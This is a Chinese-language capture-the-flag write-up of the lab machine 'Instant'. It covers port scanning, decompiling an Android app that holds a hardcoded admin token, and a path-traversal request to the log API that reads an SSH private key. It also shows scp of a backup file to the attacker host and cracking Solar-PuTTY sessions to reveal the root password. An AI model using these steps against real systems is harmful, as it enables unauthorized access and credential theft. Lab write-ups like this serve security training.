基本信息
IP地址:
10.129.231.155(非固定IP地址)
信息收集
ICMP检测
PING 10.129.231.155 (10.129.231.155) 56(84) bytes of data.
64 bytes from 10.129.231.155: icmp_seq=1 ttl=63 time=8.14 ms
64 bytes from 10.129.231.155: icmp_seq=2 ttl=63 time=8.86 ms
64 bytes from 10.129.231.155: icmp_seq=3 ttl=63 time=9.65 ms
64 bytes from 10.129.231.155: icmp_seq=4 ttl=63 time=8.17 ms
--- 10.129.231.155 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 8.138/8.707/9.654/0.618 ms
攻击机和靶机间网络连接状态正常。
网络端口扫描
TCP开放端口扫描报告
# Nmap 7.95 scan initiated Fri Jul 31 21:54:55 2026 as: nmap -sT -p- --min-rate 3000 -oN tcp_ports.txt 10.129.231.155
Nmap scan report for 10.129.231.155
Host is up (0.0075s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri Jul 31 21:55:02 2026 -- 1 IP address (1 host up) scanned in 7.68 seconds
TCP端口详细信息扫描报告
# Nmap 7.95 scan initiated Fri Jul 31 21:58:57 2026 as: nmap -sT -sV -A -p 22,80 -oN tcp_result.txt 10.129.231.155
Nmap scan report for 10.129.231.155
Host is up (0.0088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 31 21:59:04 2026 -- 1 IP address (1 host up) scanned in 6.73 seconds
UDP开放端口扫描报告
# Nmap 7.95 scan initiated Fri Jul 31 22:00:30 2026 as: nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.231.155
Warning: 10.129.231.155 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.231.155
Host is up (0.0081s latency).
All 65535 scanned ports on 10.129.231.155 are in ignored states.
Not shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)
# Nmap done at Fri Jul 31 22:04:31 2026 -- 1 IP address (1 host up) scanned in 240.70 seconds
UDP端口详细信息扫描报告
(无)
同时发现靶机运行Ubuntu Linux操作系统,开放了22/ssh和80/http端口,主域名为instant.htb。
服务探测
SSH服务(22端口)
尝试使用ssh连接靶机,确认其登录方式:
ssh root@instant.htb

靶机允许使用密码和密钥登录。
Web应用程序(80端口)
打开主页:http://instant.htb/

发现该网站为某在线资金交易平台的主页,翻看页面,只发现了一个Android应用程序安装包的下载链接,尝试进行目录扫描,但未发现任何有效信息:
<a class="nav-link page-scroll d-flex flex-row align-items-center text-primary" href="http://instant.htb/downloads/instant.apk"><em data-feather="box" width="18" height="18" class="mr-2"></em>Download Now!</a>
直接点击页面上的下载按钮,将APK下载到本地,使用JADX-GUI工具对其进行反编译:

不难发现应用程序包名为com.instantlabs.instant,其中含有八个页面类:AdminActivities、ForgotPasswordActivity、LoginActivity、MainActivity、ProfileActivity、RegisterActivity、SplashActivity和TransactionActivity,对应管理员信息获取、忘记密码、登录注册、个人信息显示和转账等功能,下面逐个查看页面类,分析程序行为。
首先查看AdminActivities:
public class AdminActivities {
private String TestAdminAuthorization() {
new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
static final /* synthetic */ boolean $assertionsDisabled = false;
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
System.out.println("Error Here : " + iOException.getMessage());
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
try {
System.out.println(JsonParser.parseString(response.body().string()).getAsJsonObject().get("username").getAsString());
} catch (JsonSyntaxException e) {
System.out.println("Error Here : " + e.getMessage());
}
}
}
});
return "Done";
}
}
可发现管理员用户的Authorization头凭据为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA,API系统子域名为mywalletv1.instant.htb,且该类的功能为打印返回内容中的用户名信息。
接着看ForgotPasswordActivity:

该页面内只包含了返回按钮,按钮绑定LoginActivity意图,点按后将跳转至登录页面,除此之外无任何信息。
LoginActivity关键部分源代码如下:

阅读源代码,可得知登录功能的API端点为/api/v1/login,该端点从POST请求中接收JSON数据,包含username和password参数。
ProfileActivity源代码如下:
package com.instantlabs.instant;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.NotificationCompat;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
import com.google.gson.JsonSyntaxException;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* JADX INFO: loaded from: classes.dex */
public class ProfileActivity extends AppCompatActivity {
private static final String ACCESS_TOKEN_KEY = "access_token";
private static final String SHARED_PREFS_NAME = "app_prefs";
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_profile);
final TextView textView = (TextView) findViewById(R.id.username_display);
final TextView textView2 = (TextView) findViewById(R.id.email_display);
final TextView textView3 = (TextView) findViewById(R.id.wallet_bal_display);
final TextView textView4 = (TextView) findViewById(R.id.role_display);
Button button = (Button) findViewById(R.id.make_txn_btn);
String accessToken = getAccessToken();
System.out.println(accessToken);
if (accessToken != null) {
new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", accessToken).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.ProfileActivity.1
static final /* synthetic */ boolean $assertionsDisabled = false;
@Override // okhttp3.Callback
public void onFailure(Call call, final IOException iOException) {
ProfileActivity.this.runOnUiThread(new Runnable() { // from class: com.instantlabs.instant.ProfileActivity.1.1
@Override // java.lang.Runnable
public void run() {
Toast.makeText(ProfileActivity.this, "Error Occured: " + iOException.getMessage(), 0).show();
}
});
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
try {
JsonObject asJsonObject = JsonParser.parseString(response.body().string()).getAsJsonObject().getAsJsonObject("Profile");
String asString = asJsonObject.get("username").getAsString();
String asString2 = asJsonObject.get(NotificationCompat.CATEGORY_EMAIL).getAsString();
String asString3 = asJsonObject.get("wallet_balance").getAsString();
String asString4 = asJsonObject.get("role").getAsString();
textView.setText("Username: " + asString);
textView2.setText("Email: " + asString2);
textView3.setText("Balance: " + asString3);
textView4.setText("Role: " + asString4);
return;
} catch (JsonSyntaxException unused) {
ProfileActivity.this.runOnUiThread(new Runnable() { // from class: com.instantlabs.instant.ProfileActivity.1.2
@Override // java.lang.Runnable
public void run() {
Toast.makeText(ProfileActivity.this, "Invalid response format", 0).show();
}
});
return;
}
}
Toast.makeText(ProfileActivity.this, "Something Went Wrong!", 0).show();
}
});
}
button.setOnClickListener(new View.OnClickListener() { // from class: com.instantlabs.instant.ProfileActivity.2
@Override // android.view.View.OnClickListener
public void onClick(View view) {
ProfileActivity.this.startActivity(new Intent(ProfileActivity.this, (Class<?>) TransactionActivity.class));
ProfileActivity.this.finish();
}
});
}
private String getAccessToken() {
return getSharedPreferences(SHARED_PREFS_NAME, 0).getString(ACCESS_TOKEN_KEY, null);
}
}
该页面的功能为获取并显示登录用户的个人信息,其API端点为/api/v1/view/profile,接受GET请求。
接下来看RegisterActivity类的核心代码:

可以看到注册功能的API端点为/api/v1/register,接收POST数据,数据格式为JSON,包含username用户名、password密码、email电子邮件和pin交易密码。
最后看TransactionActivity类的核心代码:

可以看到转账功能分为输入转账信息和验证交易密码两部分,转账请求提交API端点为/api/v1/initiate/transaction,密码验证API端点为/api/v1/confirm/pin。转账请求端点接收POST JSON数据,包含receiver目标账号、amount金额和note备注,密码验证端点也为POST端点,但接收的JSON数据中仅包含pin交易密码。
尝试枚举资源文件内的配置信息,在/res/xml/network_security_config.xml内发现了另一个子域名swagger-ui.instant.htb:

渗透测试
API任意文件读取漏洞利用
在服务探测阶段,我们已经成功发现了一个新子域名swagger-ui.instant.htb,尝试访问:

成功进入Swagger API调试界面!翻看API列表,发现了和日志读取有关的两个API:/api/v1/admin/read/log和api/v1/admin/view/logs。在进行测试前,首先点击Authorize设置Authorization请求头:

随后展开/api/v1/admin/view/logs的操作界面,点击Try it out!解锁操作面板后,发送请求:

发现日志目录/home/shirohige/logs/,切换到/api/v1/admin/read/log,解锁操作面板后发现log_file_name参数为用户指定的目标文件名:

尝试使用路径穿越符,将读取的文件指向shirohige用户的SSH私钥:../.ssh/id_rsa

成功读取SSH私钥!将其保存到本地后,使用ssh命令登录靶机shirohige用户:
ssh shirohige@instant.htb -i shirohige_ssh_key.txt

成功!!
权限提升
Solar-PuTTY备份数据解密
登录靶机后,进行目录信息收集,在/opt/backups/Solar-PuTTY/目录下发现了一份可疑的文件sessions-backup.dat,内容为Base64编码内容:

通过询问大模型,可得知Solar PuTTY为一款在Windows操作系统下使用的远程连接工具,具有导出Session数据至备份文件的功能,但导出的数据使用AES256算法加密,密钥为明文密码的PBKDF2哈希值:

通过联网搜索,发现了用于解密Session备份文件的脚本程序:SolarPuTTYDecrypt: A post-exploitation tool to decrypt SolarPutty's sessions files, rewritten in Python. Original Author: Paolo Stagno (@Void_Sec - voidsec.com) · GitHub

由于Python依赖包问题,需要将开头倒入的Crypto库改为Cryptodome:
import base64
import sys
from Cryptodome.Cipher import DES3
from Cryptodome.Protocol.KDF import PBKDF2
保存脚本后,将sessions-backup.dat文件下载到本地:
scp -P 22222 sessions-backup.dat root@10.10.16.67:/root/pentest_notes/instant/sessions-backup.dat
随后尝试使用脚本解密,字典选用rockyou.txt:
python session-decrypt.py sessions-backup.dat /usr/share/wordlists/rockyou.txt

成功发现系统管理员用户密码:
- 用户名:
root - 密码:
12**24nzC!r0c%q12
直接切换用户:
su -

提权成功!!
